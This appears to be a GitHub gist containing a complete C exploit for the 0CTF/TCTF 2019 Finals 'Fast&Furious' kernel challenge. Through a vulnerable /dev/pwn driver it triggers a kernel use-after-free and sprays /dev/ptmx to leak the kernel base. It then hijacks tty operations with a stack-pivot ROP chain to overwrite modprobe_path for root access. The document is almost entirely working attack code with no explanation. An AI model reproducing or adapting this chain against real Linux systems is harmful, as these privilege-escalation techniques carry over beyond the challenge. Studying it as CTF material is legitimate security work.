Created
June 10, 2019 04:59
-
-
Save hama7230/d8576594250e85becc8419928be1a0e7 to your computer and use it in GitHub Desktop.
0CTF/TCTF 2019 Finals Fast&Furious
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define PROT_READ 0x1 /* Page can be read. */ | |
#define PROT_WRITE 0x2 /* Page can be written. */ | |
#define MAP_PRIVATE 0x02 /* Changes are private. */ | |
#define MAP_ANONYMOUS 0x20 /* Don't use a file. */ | |
#define MAP_POPULATE 0x8000 | |
#define MAP_FIXED 0x10 | |
#define MAP_GROWSDOWN 0x0100 | |
#define O_RDWR 2 | |
#define O_NOCTTY 00000400 | |
#define O_RDONLY 00000000 | |
int read(int fd, char* buf, int len) { | |
__asm__("mov rax, 0"); | |
__asm__("syscall"); | |
} | |
int write(int fd, char* buf, int len) { | |
__asm__("mov rax, 1"); | |
__asm__("syscall"); | |
} | |
int open(char* filename, int flags) { | |
__asm__("mov rax, 2"); | |
__asm__("syscall"); | |
} | |
int close(int fd) { | |
__asm__("mov rax, 3"); | |
__asm__("syscall"); | |
} | |
void exit(int status) { | |
__asm__("mov rax, 60"); | |
__asm__("syscall"); | |
} | |
int ioctl(unsigned int fd, unsigned int cmd, unsigned long* arg) { | |
__asm__("mov rax, 16"); | |
__asm__("syscall"); | |
} | |
void *mmap(void *addr, unsigned long length, int prot, int flags, int fd, unsigned long offset) { | |
__asm__("mov r10, rcx"); | |
__asm__("mov rax, 9"); | |
__asm__("syscall"); | |
} | |
int strlen(char* string) { | |
int len = 0; | |
for (; *(string++) != '\x00'; len++) {} | |
return len; | |
} | |
void puts(char* string) { | |
int len = strlen(string); | |
write(1, string, len); | |
} | |
void memset(char* a, char b, int len) { | |
int i; | |
for (i=0; i<len; i++) { | |
a[i] = b; | |
} | |
} | |
int fd ; | |
struct obj { | |
unsigned long ptr; | |
unsigned long size; | |
}; | |
struct args { | |
unsigned long num; | |
struct obj objs[0x10]; | |
unsigned long idx; | |
}; | |
unsigned long fake_ops[0x20] = {0}; | |
int create(unsigned long num, struct obj* hoge) { | |
struct args buf; | |
memset(&buf, 0, sizeof(struct args)); | |
buf.num = num; | |
buf.idx = 0xbeef; | |
for (int i=0; i<num; i++) { | |
buf.objs[i].size = hoge[i].size; | |
buf.objs[i].ptr = hoge[i].ptr; | |
} | |
return ioctl(fd, 6, &buf); | |
} | |
int kwrite(unsigned long num, struct obj* hoge, unsigned long idx) { | |
struct args buf; | |
memset(&buf, 0, sizeof(struct args)); | |
buf.num = num; | |
buf.idx = idx; | |
for (int i=0; i<num; i++) { | |
buf.objs[i].size = hoge[i].size; | |
buf.objs[i].ptr = hoge[i].ptr; | |
} | |
return ioctl(fd, 666, &buf); | |
} | |
int kread(unsigned long num, struct obj* hoge, unsigned long idx) { | |
struct args buf; | |
memset(&buf, 0, sizeof(struct args)); | |
buf.num = num; | |
buf.idx = idx; | |
for (int i=0; i<num; i++) { | |
buf.objs[i].size = hoge[i].size; | |
buf.objs[i].ptr = hoge[i].ptr; | |
} | |
return ioctl(fd, 66, &buf); | |
} | |
int delete(unsigned long idx) { | |
return ioctl(fd, 6666, &idx); | |
} | |
int ptmx_fds[0x100]; | |
void open_ptmx(void) { | |
for (int i=0; i<0x100; i++) | |
ptmx_fds[i] = open("/dev/ptmx", O_NOCTTY|O_RDWR); | |
} | |
void close_ptmx(void) { | |
for (int i=0; i<0x100; i++) | |
close(ptmx_fds[i]); | |
} | |
void _start(void) { | |
puts("open /dev/pwn"); | |
fd = open("/dev/pwn", O_RDONLY); | |
unsigned long* fake_stack; | |
fake_stack = mmap(0x5B000000-0x8000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0); | |
unsigned long hoge[0x3f0/8]; | |
struct obj buf[0x4]; | |
buf[0].size = 0x3f0; | |
buf[0].ptr = hoge; | |
memset(hoge, 'A', 0x3f0); | |
create(1, buf); | |
memset(hoge, 'B', 0x3f0); | |
create(1, buf); | |
memset(hoge, 'C', 0x3f0); | |
create(1, buf); | |
memset(hoge, 'D', 0x3f0); | |
create(1, buf); | |
puts("caused kUAF"); | |
buf[0].ptr = 0xdeadbeef; | |
kwrite(1, buf, 0); | |
kwrite(1, buf, 1); | |
kwrite(1, buf, 2); | |
kwrite(1, buf, 3); | |
buf[0].ptr = hoge; | |
kread(1, buf, 0); | |
puts("trying open /dev/ptmx"); | |
open_ptmx(); | |
memset(hoge, 0, 0x3f0); | |
buf[0].size = 0x3f0; | |
buf[0].ptr = hoge; | |
kread(1, buf, 1); | |
// ffffffff81621440 | |
// ffffffff820a3820 | |
unsigned long kernel_base = hoge[3] - 0x10a3820; | |
//printf("kernel_base = 0x%lx\n", kernel_base); | |
// 0xffffffff81086800: pop rdi ; ret ; (58 found) | |
// 0xffffffff81039a91: pop rax ; ret ; (24 found) | |
// 0xffffffff812222b6: mov qword [rax], rdi ; pop rbp ; ret ; (2 found) | |
// 0xffffffff815687fa: mov esp, 0x5B000000 ; pop r12 ; pop rbp ; ret ; (5 found) | |
unsigned long pivot_gadget = 0xffffffff815687fa-0xffffffff81000000; | |
unsigned long pop_rax = 0xffffffff81039a91- 0xffffffff81000000; | |
unsigned long pop_rdi = 0xffffffff81086800- 0xffffffff81000000; | |
unsigned long mov_rax_rdi_pop = 0xffffffff812222b6-0xffffffff81000000; | |
unsigned long modprobe_path = 0xffffffff8265bcc0-0xffffffff81000000; | |
fake_stack += (0x8000/8); | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = kernel_base + pop_rax; | |
*fake_stack++ = kernel_base + modprobe_path; | |
*fake_stack++ = kernel_base + pop_rdi; | |
*fake_stack++ = 0x77702f656d6f682f; | |
*fake_stack++ = kernel_base + mov_rax_rdi_pop; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = kernel_base + pop_rax; | |
*fake_stack++ = kernel_base + modprobe_path + 8; | |
*fake_stack++ = kernel_base + pop_rdi; | |
*fake_stack++ = 0x612f6e; | |
*fake_stack++ = kernel_base + mov_rax_rdi_pop; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = 0xffffffff81000220-0xffffffff81000000 + kernel_base; | |
hoge[3] = fake_ops; | |
for (int i=0; i<0x20; i++) { | |
fake_ops[i] = kernel_base + pivot_gadget; | |
} | |
kwrite(1, buf, 1); | |
for (int i=0; i<0x100; i++) { | |
ioctl(ptmx_fds[i], 0xdead, 0xbeef); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment